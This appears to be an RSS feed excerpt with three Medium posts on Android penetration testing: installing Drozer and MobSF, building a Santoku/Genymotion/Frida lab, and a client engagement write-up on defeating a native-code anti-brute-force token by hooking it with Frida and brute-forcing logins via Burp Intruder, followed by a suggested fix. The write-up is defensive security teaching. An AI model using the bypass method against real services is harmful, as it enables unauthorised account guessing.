        <item>
            <title><![CDATA[Android pentesting Lab — Drozer & mobSF]]></title>
            <link>https://medium.com/@inmune7/android-pentesting-lab-drozer-mobsf-75eb2c5c8ed0?source=rss-12ea65f2041e------2</link>
            <guid isPermaLink="false">https://medium.com/p/75eb2c5c8ed0</guid>
            <category><![CDATA[android]]></category>
            <category><![CDATA[training]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[INMUNE7]]></dc:creator>
            <pubDate>Thu, 30 Jul 2020 12:17:22 GMT</pubDate>
            <atom:updated>2021-12-28T03:07:25.840Z</atom:updated>
            <content:encoded><![CDATA[<h3>Android pentesting Lab — Drozer &amp; mobSF</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0Dnd9woqoHQ7qyx9mk1C6w.jpeg" /></figure><p>In the previous article, we mentioned the installation and configuration process of a lab on Linux to perform penetration testing and analysis of Android applications.</p><p>In this one, we are going to detail the installation process of two very useful tools for testing, one of them provides a framework for performing penetration tests (Drozer) and the other one serves to perform static and dynamic code analysis (MobSF).</p><h4>Drozer Installation</h4><p>As I mentioned previously, this tool provides a framework to perform penetration tests in Android, it allows us to interact with the application at runtime, by using IPC or Binder as any application that is installed on an Android device does.</p><p>It also allows us to remotely exploit vulnerabilities in Android devices, through the use of files or pages that exploit known vulnerabilities. The payload used in these exploits starts the installation of the drozer-agent which would basically be a remote administration tool.</p><p>To install drozer we go to the following site <a href="https://github.com/FSecureLABS/drozer">https://github.com/FSecureLABS/drozer</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/567/0*-1Y76nNEloR6-rBF" /></figure><p>We download the package compatible with our operating system version, in our case, Linux and finally we download the <em>drozer-agent</em> (APK file), this agent we use to communicate with our Android Emulated.</p><p>Then we install the drozer on our host. In our case, we are using Ubuntu and we use the command dpkg -i drozer-version.deb</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/705/0*sudRZqxoPTe--O7V" /></figure><p>The next step is to install the drozer agent in our emulated Android device, to do this we use the adb install command followed by the .apk package name, as shown in the image below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*ZWYpSa_VUzATnDGe" /></figure><p>For drozer to communicate with the agent we have to perform a port forwarding using the adb forward command, as shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/0*aST2aS-k342Y5f2u" /></figure><p>The next step is to enable the agent <em>LISTENING</em>, we do it by opening the <em>DROZER </em>agent in the emulator and pressing the OFF button, this will leave the agent listening in the port 31415.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/543/0*8GsxMc1F7ex03f67" /></figure><p>The last step is to connect DROZER with the agent, we do it through the command drozer console connect this enables us the prompt (dz).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/642/0*muBX29Wyoqy4CfHY" /></figure><h4>MobSF installation</h4><p>Mobile Security Framework (MobSF) is an automated tool that can be used in Android/IOS/Windows applications to perform: pentesting, malware analysis, and security assessments, it can also be used in static and dynamic code analysis.</p><p>To download MoBSF we do it through this <a href="https://github.com/MobSF/Mobile-Security-Framework-MobSF">https://github.com/MobSF/Mobile-Security-Framework-MobSF</a>. Using git clone we can clone the repository in our filesystem.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/782/0*24cspgihx-HFMPlg" /></figure><p>Then using the command ./setup.sh we can install the necessary dependencies for the operation of MoBSF.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/782/0*KX12vEwlrJMWUJT-" /></figure><p>Finally, to run MoBSF we do it with the command ./run.sh, after starting we can enter the web interface.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/779/0*iuoTmEu6_8FraZ47" /></figure><p>In the next post, we going to see the installation and configuration of Android Studio.</p><p>If you like this post please share it. Thank you.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=75eb2c5c8ed0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How did I bypass a Custom Brute Force protection and why that solution is not a good idea?]]></title>
            <link>https://medium.com/@inmune7/how-did-i-bypass-a-custom-brute-force-protection-and-why-that-solution-is-not-a-good-idea-4bec705004f9?source=rss-12ea65f2041e------2</link>
            <guid isPermaLink="false">https://medium.com/p/4bec705004f9</guid>
            <category><![CDATA[api]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[token]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[INMUNE7]]></dc:creator>
            <pubDate>Sat, 25 May 2019 20:19:57 GMT</pubDate>
            <atom:updated>2021-12-28T02:45:30.584Z</atom:updated>
            <content:encoded><![CDATA[<h3>Bypassing custom rate-limit protection in Mobile App</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*SvzouB47pMF_0Hu6u0IO9A.jpeg" /></figure><h4>Introduction</h4><p>In this article, I am going to talk about how I bypass rate-limit protection of the ACME corporation (a hypothetical name to maintain the non-disclosure agreement) with a custom implementation in native code for token generation. Later I will mention why this is not the best solution and I will recommend a better one.</p><h4>Prelude</h4><p>Brute force is one of the simple (also noisy) way to guess a password or something you want to know. Basically, in a brute force attack, an attacker tries a combination of passwords, strings, hex values, stack cookies, what you want to find.</p><p>In this case, the ACME company implemented a custom solution to “stop” brute force attacks based in tokens using native code (.so library ) in an Android application.</p><p>My client said:</p><blockquote>No one can read the library to generate a token because is compiled and is not readable.</blockquote><p>I say to myself :</p><blockquote>That’s not true, some one can decompile the source code of the library and read the assembler code to understand what the library does.</blockquote><p>So let’s get started.</p><h4>About the app</h4><p>The application is built for Android and it uses its own token implementation to prevent brute force attacks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/744/1*ZG5ymksFrCRh58U_atVdAQ.png" /><figcaption>Figure 1. Token validation process</figcaption></figure><p>In Figure 1. We can see how the server handles the token, if the token is valid, the server returns 200, but if the token is invalid, the server returns 401.</p><p>This token is put in the header and is validate per request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/839/1*LgytWNyxEPSXoDW_UsU3tg.png" /><figcaption>Figure 2. Request example</figcaption></figure><p>In Figure 2 we can see an example of a request. In the <strong>X-ACME-Token</strong> header the application place the generated token. This token is used during the login process.</p><h4>The research</h4><p>Due to the kind of test, I perform this research without access to the source code or any information about the application, this is what we call “black-box testing”.</p><p>I downloaded the APK of the application and opened it with JADX, after a lot of source code review I found the SEC class. This class defines a static segment to load the library with native code. Also is important to note that the application doesn’t obfuscate the code so was easy to JADX decompile the source code and show me in a readable format.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/971/1*LHdexYH6cubLaUrXfqmvpQ.png" /><figcaption>Figure 3. Sec class ACME example</figcaption></figure><p>Second … At this point, I know what is the name of the library so I extract the .so file using the ADB command from the Android emulated device.</p><pre><strong>adb pull /data/data/com.acme.app/lib/libacme-lib.so .</strong></pre><blockquote>In this <a href="https://medium.com/@dortz/android-pentest-lab-in-a-nutshell-ee60be8638d3">link </a>I was talk about Genymotion and how prepare an Android lab if you are interested.</blockquote><p>This is the fun part. I need to do binary research if I want to understand what the file does because I don’t have the source code of the library.</p><p>Let’s begin with the basic, I used xxd and file command to know more about the file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/794/1*fjP30G0Ws2pKjWymyvsSOQ.png" /><figcaption>Figure 4. Basic research in a binary file</figcaption></figure><p>At this point I know what the file is, the ELF header and the output of the file command confirm that the file is a shared library. The next thing I always do is open the file using the string command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/484/1*MLMQ-BpbnQjmj-Dq-yl9Wg.png" /><figcaption>Figure 5. Strings output command.</figcaption></figure><p>…. very interesting method I found here.</p><blockquote>Java_com_acme_account_Sec_token</blockquote><p>Let’s open the library in IDA and examine that method.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/579/1*s3oj3k55qqmKCQBQvCVzyA.png" /><figcaption>Figure 6. Library opened with IDA</figcaption></figure><p>After a couple of hours reading assembler code to try to understand what the library does I decide to move forward with another option (more simplistic and cheaper for my client) maybe if I find some vulnerability in the Login process I can generate my own token… But wait …. something comes to my mind and it was like a.</p><blockquote><em>WOW!! … yes, it could works !!</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/200/1*jqQKtsY5wCV-09fuDx1H5g.gif" /><figcaption>Me after a revelation of God</figcaption></figure><h4>FRIDA to the rescue</h4><p>This is an awesome tool, according to the <a href="https://www.frida.re/docs/home/">website </a>is:</p><blockquote>it’s a dynamic code instrumentation toolkit. It lets you inject snippets of JavaScript or your own library into native apps on Windows, macOS, GNU/Linux, iOS, Android, and QNX. Frida also provides you with some simple tools built on top of the Frida API. These can be used as-is, tweaked to your needs, or serve as examples of how to use the API.</blockquote><p>What is my plan from now?</p><p>In theory, according to the definition, I could inject snippets of JavaScript into the native apps in this case Java. So I need to find in the code where the SEC class is used and try to understand how the token is generated (reading Java code, not assembler) and maybe generate my own token.</p><p>My steps:</p><blockquote>Give me six hours to chop down a <strong>tree</strong> and I will spend the first four sharpening the ax. Abraham Lincoln</blockquote><p>Before diving into the code I spent a couple of hours understanding the FRIDA API. This is a very important step because it allows to me get a better idea of how FRIDA works and the limitations it has.</p><p>After a while, I felt confident. I opened the APK file again, read some classes, and found what I was looking for … YES !!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KGEXjNpB2MJyhg0NYI5z1g.png" /><figcaption>Figure 7. create a client example class</figcaption></figure><p>Again, the lack of code obfuscation makes me work easily.</p><p>In the <strong>newBuilder.addHeader()</strong> instruction we can see how the X-ACME-Token Header is added and how <strong>Sec.access</strong> is called. According to the code, three parameters are needed, the first is a Context object, the second is a unique ID, and the last one is an URL.</p><p>At this point, we can use FRIDA.</p><h4>The POC</h4><p>FRIDA uses python code to enable frida-tools, in this <a href="https://medium.com/@dortz/android-pentest-lab-in-a-nutshell-ee60be8638d3">article </a>I explain how is the installation of frida-tools. So I create a basic skeleton of code in python.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/541/1*0bx5hq9FON2-0irxkAwX9g.png" /><figcaption>Figure 8. Python wrapper code</figcaption></figure><p>The next step is to create a JavaScript snippet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N2ZSQEnvqZ8ZpqpaRyrgXw.png" /><figcaption>Figure 9. Example of JavaScript snippet</figcaption></figure><p>There is a lot of more code in Figure 9 to show, however, I am interested in to show you the function used to generate the token.</p><p>In this code we hook to the Environment class and create a new instance of it, call the setter method, and define a new value using a random string. The next part is the getValidToken function.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wiMJYgWhQUnb_yGhQZNAhg.png" /><figcaption>Figure 10. getValidToken() method</figcaption></figure><p>In this code, we overload the token function of <strong>com.acme.account.Sec. </strong>With this function overloaded we can create our <strong>acmeID </strong>and pass as an argument to the function which generates the token.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/788/1*CNuffJ8nEPhbMqb3SJQQyA.png" /><figcaption>Figure 11. Token generation</figcaption></figure><p>Yeah, it worked … in Figure 11 you can see a list of token generated with FRIDA.</p><p>I configure Burpsuite Intruder with my list of tokens and then I tried to brute force a valid user of ACME…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/621/1*7voWO24pZxaBRFheER2cMQ.png" /><figcaption>Figure 12. Burpsuite intruder</figcaption></figure><p>Oh no!!!!! After 54 requests the server return code 500 (which means server error) the status code 400 is for an invalid password but after a series of request the server detect my brute force attack… Nooooo!!! :(</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/320/1*WpDm2RXxcNN-WsutPoE3WA.gif" /></figure><h4>The exploit</h4><p>I never give up, so, after resting, I came to the battle again and found this…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cNFPL5itnZav0-j0xN2_xg.png" /><figcaption>Figure 13. Context information</figcaption></figure><p>The Context … if I remember one of the parameters of the <strong>token.access </strong>function is a Context <strong>object</strong>, so what happens if I overload the token function again and define it with 3 strings parameters?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/970/1*EdkMnEdGlkKL8GOXSq1Pbg.png" /><figcaption>Figure 14. Token method overload</figcaption></figure><p>I overload the function and configure my payload with my list of the token.</p><p>…come on this has to work !!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/426/1*WVP0ve_x9ZNl5WiR-Z_Q1A.png" /><figcaption>Figure 15. Payload configuration</figcaption></figure><p>And DAWN men it worked…. Yeahhhh !!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/695/1*GfaQnzbl-sRk_uPHkBdqkg.png" /><figcaption>Figure 16. Brute force attack success using Intruder</figcaption></figure><p>After 303 requests the server still returns 400 code indicating that the password is invalid… Yeah !!!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*VPNbO3OHfUCBik7A_fsfcw.gif" /></figure><p>What happened here?</p><p>With FRIDA, we overload the function of Token.<strong>access </strong>so at run-time when I executed my python script which inside uses my JavaScript snippets and lunch an instance of <strong>com.acme.app</strong> in my emulated android device, the method definition is overloaded, so when I called the method <strong>getValidToken(), </strong>I am not calling the default method (token), I am calling the overloaded method passing 3 strings as arguments, so I don’t need to pass a context object. I have control of the three arguments and can pass random values to the token function.</p><p>I use these valid tokens to launch the attack…basically in the backend each request appears valid and the server doesn’t detect my brute force attack.</p><p>Yeah !!!!</p><p>…But how we can fix this?</p><h4>The “solution”</h4><p>I found a better way around token-based implementation to prevent brute force attacks using SafetyNET reCAPTCHA API. Figure 17 is a detailed definition.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/890/1*U7URd_IamPYB2SeED3MuDg.png" /><figcaption>Figure 17. SafetyNET definition</figcaption></figure><p>This is a basic diagram of how SafetyNET reCAPTCHA does work. In Figure 18 you can see 3 actors (Android app, SafetyNET, and Android Server). The Android app has a Site Key (something like a Public key) which is used to communicate with the SafetyNET server. Then SafetyNET server returns the captcha challenge to the user and then sends the token to the server for validation. The server has the secret key and validates the token against SafetyNET, then SafetyNET server validates this token using its own analyst engine. The response is sent to the server and the server handles the token depending if it is valid or invalid.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*Y16oTsFERSMf8twORpposA.png" /><figcaption>Figure 18. SafetyNET basic architecture</figcaption></figure><h4>What about ACME ?</h4><p>At the end of this journey, I made my report including a detailed explanation about the vulnerability and how to fix it.</p><p>Of course, adding SafetyNET to an application in production is not a trivial step, requires planning and in some case, it needs to validate against product team because adding a CAPTCHA affect the user experience using the application.</p><p>I didn’t exploit any vulnerability like Buffer Overflow, CSRF, SSRF, or something similar, in this case, the vulnerability is the token implementation by itself. Some times you need to spend time in order to understand the application to find this kind of bugs.</p><p>Please let me know how if you implement SafetyNET reCAPTCHA API and how was the experience.</p><p>Bye-bye …</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/260/1*7MZLLWn0wFfzfVW0RmcyLg.gif" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4bec705004f9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Android pentest lab in a nutshell]]></title>
            <link>https://medium.com/@inmune7/android-pentest-lab-in-a-nutshell-ee60be8638d3?source=rss-12ea65f2041e------2</link>
            <guid isPermaLink="false">https://medium.com/p/ee60be8638d3</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[android]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[INMUNE7]]></dc:creator>
            <pubDate>Sun, 19 May 2019 23:08:16 GMT</pubDate>
            <atom:updated>2021-12-28T03:07:59.190Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NSN1a2xVtV1exzcD8fpzhA.jpeg" /></figure><h3>Introduction</h3><p>In this article, I am going to talking about how to configure a penetration testing lab for Android applications in simple steps.</p><p>What do we need?</p><ol><li>VirtualBox</li><li>Santoku ISO (mobile pentest distro)</li><li>Genymotion (android emulator)</li><li>JADX (Java decompiler)</li><li>IDA Pro</li><li>Frida</li></ol><h4>Step 1- Install Santoku</h4><p>I will assume that the reader already knows how to install VirtualBox so I will begin with the installation of Santoku distro.</p><p>Santoku is a version of Linux especially designed for mobile penetration testing. You can download the ISO image here: <a href="https://santoku-linux.com/download/">link</a></p><p>After you configure the settings of the virtual machine (disk, memory, CPU) you will see this screen, select the option “install -start the installer directly” like in Figure 1.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/642/1*v4LXismzDnKOUz9S5VtUHw.png" /><figcaption>Figure 1. Boot options of Santoku</figcaption></figure><p>Configure all settings (disk layout, location, language, etc ) of the virtual machine and press “Install now”, this will launch the installation process.</p><p>After this process finishes and reboot the system the santoku distro is fully available. Now let&#39;s begin with the installation of the emulator.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/804/1*biEp-0tlsf4ZVYzYf6XjOg.png" /><figcaption>Figure 2. Santoku desktop</figcaption></figure><h4>Step 2 -Install Genymotion</h4><p>There are different android emulators available but in my opinion, Genymotion is the best because it is simple to set up and it offers an excellent UX(User Experience). You can get a free version (30 days) of Genymotion here: <a href="https://www.genymotion.com/desktop/">link</a></p><p>Complete the registration process in order to obtain a free version.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/819/1*dxmaSvc1_SaHS-ec6MjM-w.png" /><figcaption>Figure 3. Genymotion registration form</figcaption></figure><p>After you receive the activation link and download the installer you can start the installation process. You need to install the software and log in with the credentials provided in the web portal, then you will see the main dashboard of Genymotion like show the Figure 4.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1021/1*FbMNxjjEgBgQPZrjoJ1B5g.png" /><figcaption>Figure 4. Genymotion dashboard</figcaption></figure><p>You can select a version of SDK with the corresponding devices. For this example, I will select the 23 with the S7 Galaxy device. You have to right-click the selected device and press “Install”, this will initiate the downloading process like show the Figure 5.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JDc_0DuMli4lYj7zXLYS_A.png" /><figcaption>Figure 5. Download Samsung Galaxy S7</figcaption></figure><p>After finishing the download process you can start the virtual devices, Genymotion uses Virtualbox to support the emulation process, so each device appears like a Virtual Machine. One important step is the installation of “Open GApps”, this software will provide the tools for Google Apps Package. In the right corner, you can see the Open GAPPS button, click it and this will initiate the installation of Open GApps. After the installation finishes, a restart is required.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/473/1*1t_fwPRAzf3_sIDLzYtagg.png" /><figcaption>Figure 6. Open GApps installation.</figcaption></figure><h4>Step 3 -Install JADX</h4><p>This is one of my favorite tools, JADX allows you to decompile .dex file, you can work with the entire APK and also read the AndroidManifest.xml. There are other tools out of there that individually do the same things JD-GUI, APKtool, j2-dex2jar, but with JADX you will do these things with one tool. Of course, do not rely on one tool for penetration testing but when the time goes this is a useful way to do the things faster and for those cases when your pen test are based on real time. You can obtain jadx here: <a href="https://github.com/skylot/jadx">link</a></p><p>The installation steps are very easy just do the following in a terminal</p><pre>git clone https://github.com/skylot/jadx.git<br>cd jadx<br>./gradlew dist</pre><p>You need Java 8 in order to build JADX.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/801/1*VW2bdZOD2neGiHVoOnYojQ.png" /><figcaption>Figure 7. JADX build process</figcaption></figure><p>This will create the folder structure showing in the Figure 8.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/559/1*l-UJCSXEl4BFbC7ihjVEnw.png" /><figcaption>Figure 8. Folder structure</figcaption></figure><p>Execute the ./jadx-gui and select the APK file. You are ready to go with JADX and view the source code of the application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MWLKPZ23ydJuceGvn_AwiA.png" /><figcaption>Figure 9. JADX-GUI</figcaption></figure><h4>Step 4 -Install IDA</h4><p>Hmmm! I know the things here became a little strange, WTH we need IDA for the mobile pen test?</p><p>Well, some times in this beautiful place where we live there are applications which use native code. .. so maybe come to your mind this question ..Why an android application uses native code? Well, Why not ?.. Java offers JNI to call native code, but this arise a new vector for attackers because the same vulnerabilities which affect native code also affect this kind of apps.</p><p>So, this is why we need IDA (Ghidra, x64dbg, Immunity Debugger) we need a tool with the ability to disassemble machine code and “convert” to a human-readable representation.</p><p>You can download IDA from this page: <a href="https://www.hex-rays.com/products/ida/support/download.shtml">link</a></p><p>Get a free version or pay the PRO version, with the Free version is enough if you already know assembly language. The PRO has hex-rays plugin which allows you to view the code in C format, and of course make your work easy.</p><p>Unzip the ./ida64 file in your favorite location and execute it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/744/1*Utmq1evuP2RB2PIuxHb4FA.png" /><figcaption>Figure 10. IDA launcher</figcaption></figure><p>Select the .so file or APK file with the PRO version and after that will appear a screen like show the Figure 11.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vpTPqwuWyfztrWEaidqINw.png" /><figcaption>Figure 11. IDA main view</figcaption></figure><p>It is out of scope to show you how IDA works, but in the future, I will show you how we can use IDA for analyzing native libraries or APK file of Android Applications.</p><h4>Step 5-Install Frida</h4><p>Frida is a dynamic code instrumentation toolkit. What does it mean ? Well, It lets you use Javascript/Python to hook native or Java calls in Android Applications. So, in which case I like to use Frida? Well for example in case when you need hook to a specific process to change the behavior of a predefined function (validation, login, etc)</p><p>You can obtain Frida here: <a href="https://www.frida.re/docs/installation/">link</a></p><p>To install Frida you need:</p><ol><li>Install Frida Tools with pip -&gt; <strong>pip install frida-tools</strong> (in host machine, in my case Ubuntu)</li><li>Get frida-server from: <a href="https://github.com/frida/frida/releases">link</a></li><li>Install frida-server using the following commands:</li></ol><pre><strong>adb devices</strong></pre><pre># push/copy the latest frida server to phone</pre><pre><strong>adb push frida-server-10.4.0-android-arm /data/local/tmp/frida</strong></pre><pre># set permissions for frida, grant SU permissions if prompted</pre><pre><strong>adb shell su -c “chmod 755 /data/local/tmp/frida”</strong></pre><pre># start frida server on android device</pre><pre><strong>adb shell su -c “./data/local/tmp/frida &amp;”</strong></pre><p>4. Test Frida using a python terminal.</p><pre>Python 2.7.15rc1 (default, Nov 12 2018, 14:31:15) <br>[GCC 7.3.0] on linux2<br>Type “help”, “copyright”, “credits” or “license” for more information.<br>&gt;&gt;&gt; <strong>import frida # import frida tools</strong><br>&gt;&gt;&gt; <strong>frida.get_usb_device() # enum avaiable devices</strong><br>Device(id=”192.168.56.101:5555&quot;, name=”Genymotion Samsung Galaxy S7&quot;, type=’usb’)<br>&gt;&gt;&gt;</pre><p>Well bro that’s all … of course there are a lot of ways to set up an Android lab but I think this is a good way to start. In future articles, I am going talking about the different ways in which we can do pen test of Android applications.</p><p>Thank you.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ee60be8638d3" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>